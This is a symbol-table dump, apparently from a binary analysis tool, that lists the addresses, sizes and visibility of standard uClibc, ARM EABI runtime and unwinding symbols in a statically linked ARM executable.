__GI___ctype_b	.symtab	0x29710	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x1302c	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x126d4	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1b408	300	FUNC	<unknown>	HIDDEN	2
__GI___fputc_unlocked	.symtab	0x14640	264	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x14c64	24	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x180e0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x1276c	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x18170	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x18290	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x18200	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x18170	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x18154	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x18290	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x18274	24	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x184a8	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x18578	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x18200	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x181e4	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x14c7c	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x18a80	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x1680c	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x14e94	116	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x16f58	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x14f08	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1c318	88	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x180e0	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x12b48	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x19504	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x19538	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x191dc	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x14f90	116	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x1716c	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x196b4	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x1276c	244	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x1b05c	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1ab4c	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1b408	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x1ac90	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x1b534	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x199e4	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x179f0	972	FUNC	<unknown>	HIDDEN	2
__GI_fprintf	.symtab	0x13294	48	FUNC	<unknown>	HIDDEN	2
__GI_fputc_unlocked	.symtab	0x14640	264	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x14748	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x1c4c4	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x1c4e8	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x18ae8	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x14780	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1b408	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x18bec	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x18c18	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x18c2c	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x18c40	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x18c54	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x17e54	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x18c7c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x15004	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x18cb4	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x18cf4	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x14e28	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1be50	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x16d74	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x128b4	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x14d88	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x12994	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x15090	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x18d08	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1c918	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1ba90	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x14840	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x14850	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1bb80	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1bba4	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x14860	156	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x189bc	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x18d48	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x18d8c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x18e0c	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x18170	100	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x12d28	196	FUNC	<unknown>	HIDDEN	2
__GI_perror	.symtab	0x13080	116	FUNC	<unknown>	HIDDEN	2
__GI_printf	.symtab	0x13248	76	FUNC	<unknown>	HIDDEN	2
__GI_putc_unlocked	.symtab	0x14640	264	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x17e9c	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x1694c	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x16c0c	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x18290	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x12e9c	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x190f0	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x12a10	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x15114	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x151cc	136	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x18e6c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x12a94	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x15298	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x15354	136	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x153dc	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x16e6c	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x12634	136	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x15468	20	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x18ed8	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x17f8c	300	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x15424	68	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x16c9c	216	FUNC	<unknown>	HIDDEN	2
__GI_strcat	.symtab	0x14960	40	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x14988	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1bc84	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x1ba70	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x1ba70	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x14a78	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1bd70	68	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x14900	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x14a9c	204	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1bdb4	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1be04	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x14b68	252	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x16f78	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x1737c	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x14dac	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x12b18	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x18f64	20	FUNC	<unknown>	HIDDEN	2
__GI_vfprintf	.symtab	0x134d8	324	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x19580	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x195f8	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x195d4	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x18200	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x293a4	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x293a4	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1e128	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1e0bc	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1e0e0	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1e104	36	FUNC	<unknown>	HIDDEN	2
__adddf3	.symtab	0x1c994	784	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmpeq	.symtab	0x1d2f0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdcmple	.symtab	0x1d2f0	24	FUNC	<unknown>	HIDDEN	2
__aeabi_cdrcmple	.symtab	0x1d2d4	52	FUNC	<unknown>	HIDDEN	2
__aeabi_d2uiz	.symtab	0x1d380	84	FUNC	<unknown>	HIDDEN	2
__aeabi_dadd	.symtab	0x1c994	784	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpeq	.symtab	0x1d308	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpge	.symtab	0x1d350	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmpgt	.symtab	0x1d368	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmple	.symtab	0x1d338	24	FUNC	<unknown>	HIDDEN	2
__aeabi_dcmplt	.symtab	0x1d320	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ddiv	.symtab	0x1d034	524	FUNC	<unknown>	HIDDEN	2
__aeabi_dmul	.symtab	0x1cda4	656	FUNC	<unknown>	HIDDEN	2
__aeabi_drsub	.symtab	0x1c988	0	FUNC	<unknown>	HIDDEN	2
__aeabi_dsub	.symtab	0x1c990	788	FUNC	<unknown>	HIDDEN	2
__aeabi_f2d	.symtab	0x1ccf0	64	FUNC	<unknown>	HIDDEN	2
__aeabi_i2d	.symtab	0x1ccc8	40	FUNC	<unknown>	HIDDEN	2
__aeabi_idiv	.symtab	0x124dc	0	FUNC	<unknown>	HIDDEN	2
__aeabi_idivmod	.symtab	0x12608	24	FUNC	<unknown>	HIDDEN	2
__aeabi_l2d	.symtab	0x1cd44	96	FUNC	<unknown>	HIDDEN	2
__aeabi_read_tp	.symtab	0x18a70	8	FUNC	<unknown>	DEFAULT	2
__aeabi_ui2d	.symtab	0x1cca4	36	FUNC	<unknown>	HIDDEN	2
__aeabi_uidiv	.symtab	0x123c8	0	FUNC	<unknown>	HIDDEN	2
__aeabi_uidivmod	.symtab	0x124c4	24	FUNC	<unknown>	HIDDEN	2
__aeabi_ul2d	.symtab	0x1cd30	116	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr0	.symtab	0x1e088	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr1	.symtab	0x1e080	8	FUNC	<unknown>	HIDDEN	2
__aeabi_unwind_cpp_pr2	.symtab	0x1e078	8	FUNC	<unknown>	HIDDEN	2
__app_fini	.symtab	0x2bd44	4	OBJECT	<unknown>	HIDDEN	14
__atexit_lock	.symtab	0x296e8	24	OBJECT	<unknown>	DEFAULT	13
__bss_end__	.symtab	0x2c8f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.symtab	0x29714	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.symtab	0x29714	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x18524	84	FUNC	<unknown>	DEFAULT	2
__close	.symtab	0x180e0	100	FUNC	<unknown>	DEFAULT	2
__close_nocancel	.symtab	0x180c4	24	FUNC	<unknown>	DEFAULT	2
__cmpdf2	.symtab	0x1d250	132	FUNC	<unknown>	HIDDEN	2
__ctype_b	.symtab	0x29710	4	OBJECT	<unknown>	DEFAULT	13
__curbrk	.symtab	0x2c288	4	OBJECT	<unknown>	HIDDEN	14
__cxa_begin_cleanup	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_call_unexpected	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__cxa_type_match	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__data_start	.symtab	0x29458	0	NOTYPE	<unknown>	DEFAULT	13
__default_rt_sa_restorer	.symtab	0x126cc	0	FUNC	<unknown>	DEFAULT	2
__default_sa_restorer	.symtab	0x126c0	0	FUNC	<unknown>	DEFAULT	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__div0	.symtab	0x12620	20	FUNC	<unknown>	HIDDEN	2
__divdf3	.symtab	0x1d034	524	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x124dc	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x293a0	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x2c8f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x2bd3c	4	OBJECT	<unknown>	DEFAULT	14
__eqdf2	.symtab	0x1d250	132	FUNC	<unknown>	HIDDEN	2
__errno_location	.symtab	0x1302c	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x21398	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x21280	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x2b7ec	4	OBJECT	<unknown>	HIDDEN	14
__extendsfdf2	.symtab	0x1ccf0	64	FUNC	<unknown>	HIDDEN	2
__fcntl_nocancel	.symtab	0x126d4	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x1b408	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x293a4	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x293a0	0	NOTYPE	<unknown>	HIDDEN	10
__fixunsdfsi	.symtab	0x1d380	84	FUNC	<unknown>	HIDDEN	2
__floatdidf	.symtab	0x1cd44	96	FUNC	<unknown>	HIDDEN	2
__floatsidf	.symtab	0x1ccc8	40	FUNC	<unknown>	HIDDEN	2
__floatundidf	.symtab	0x1cd30	116	FUNC	<unknown>	HIDDEN	2
__floatunsidf	.symtab	0x1cca4	36	FUNC	<unknown>	HIDDEN	2
__fork	.symtab	0x179f0	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x2c8c0	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x2c8c4	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x2b7f0	4	OBJECT	<unknown>	HIDDEN	14
__fputc_unlocked	.symtab	0x14640	264	FUNC	<unknown>	DEFAULT	2
__frame_dummy_init_array_entry	.symtab	0x2939c	0	OBJECT	<unknown>	DEFAULT	9
__gedf2	.symtab	0x1d240	148	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x18b4c	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x1c37c	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x18c54	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x17e54	72	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r	.symtab	0x14c64	24	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x1d82c	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x1d914	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x1e0ac	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x1d8a8	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1d9cc	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x1e0b4	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x1e190	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x1e8a4	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x1db30	1352	FUNC	<unknown>	DEFAULT	2
__gtdf2	.symtab	0x1d240	148	FUNC	<unknown>	HIDDEN	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x293a0	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2939c	0	NOTYPE	<unknown>	HIDDEN	9
__ledf2	.symtab	0x1d248	140	FUNC	<unknown>	HIDDEN	2
__libc_accept	.symtab	0x14e94	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x180e0	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x14f90	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x18300	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x18388	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x1276c	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x179f0	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x2c8c8	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x18e0c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x18170	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x18290	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x15114	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x151cc	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x12a94	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x15298	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x15354	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x1c04c	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x12634	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x2bd38	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x18200	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x17dbc	152	FUNC	<unknown>	HIDDEN	2
__ltdf2	.symtab	0x1d248	140	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x163dc	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x1547c	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x2960c	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x2c548	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x1632c	176	FUNC	<unknown>	DEFAULT	2
__muldf3	.symtab	0x1cda4	656	FUNC	<unknown>	HIDDEN	2
__nedf2	.symtab	0x1d250	132	FUNC	<unknown>	HIDDEN	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x18170	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x18154	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x2bd40	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2939c	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2939c	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x29704	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x29708	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x1c27c	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x1846c	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x18464	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x18464	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x18464	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x18464	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x18290	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x18274	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x1e090	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x2bd48	4	OBJECT	<unknown>	HIDDEN	14
__sigjmp_save	.symtab	0x1c8d8	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x1c370	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x29530	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x1c6a8	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x19a04	220	FUNC	<unknown>	HIDDEN	2
__stdio_adjust_position	.symtab	0x1c700	200	FUNC	<unknown>	HIDDEN	2
__stdio_fwrite	.symtab	0x19f40	320	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x1c7c8	48	FUNC	<unknown>	HIDDEN	2
__stdio_seek	.symtab	0x1c89c	60	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x1c7f8	164	FUNC	<unknown>	HIDDEN	2
__stdio_trans2w_o	.symtab	0x1a080	220	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x134a8	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x29534	4	OBJECT	<unknown>	DEFAULT	13
__subdf3	.symtab	0x1c990	788	FUNC	<unknown>	HIDDEN	2
__sys_accept	.symtab	0x14e50	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x14f4c	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x150d0	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x15184	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x15254	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x15308	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x18a38	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x18dcc	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x12860	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x12a50	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x1c028	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x184a8	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x18578	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x185d0	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x29700	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x123c8	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x18200	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x181e4	24	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r	.symtab	0x14c7c	268	FUNC	<unknown>	DEFAULT	2
__xpg_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__xstat32_conv	.symtab	0x19044	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x18f78	204	FUNC	<unknown>	HIDDEN	2
_adjust_pos.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_bss_custom_printf_spec	.symtab	0x2b7dc	10	OBJECT	<unknown>	DEFAULT	14
_bss_end__	.symtab	0x2c8f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_charpad	.symtab	0x1361c	84	FUNC	<unknown>	DEFAULT	2
_cs_funcs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_custom_printf_arginfo	.symtab	0x2c4f8	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_handler	.symtab	0x2c520	40	OBJECT	<unknown>	HIDDEN	14
_custom_printf_spec	.symtab	0x29608	4	OBJECT	<unknown>	HIDDEN	13
_dl_aux_init	.symtab	0x1c288	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x1c2c0	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x2c8ec	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x2c8f0	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x2c8e0	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x2c8dc	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x2c8e4	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x2c8d4	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x1bfc0	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x2c8d0	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x2c8e8	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x2c8d8	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x2c8cc	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x29714	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x2c8f4	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x18a80	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
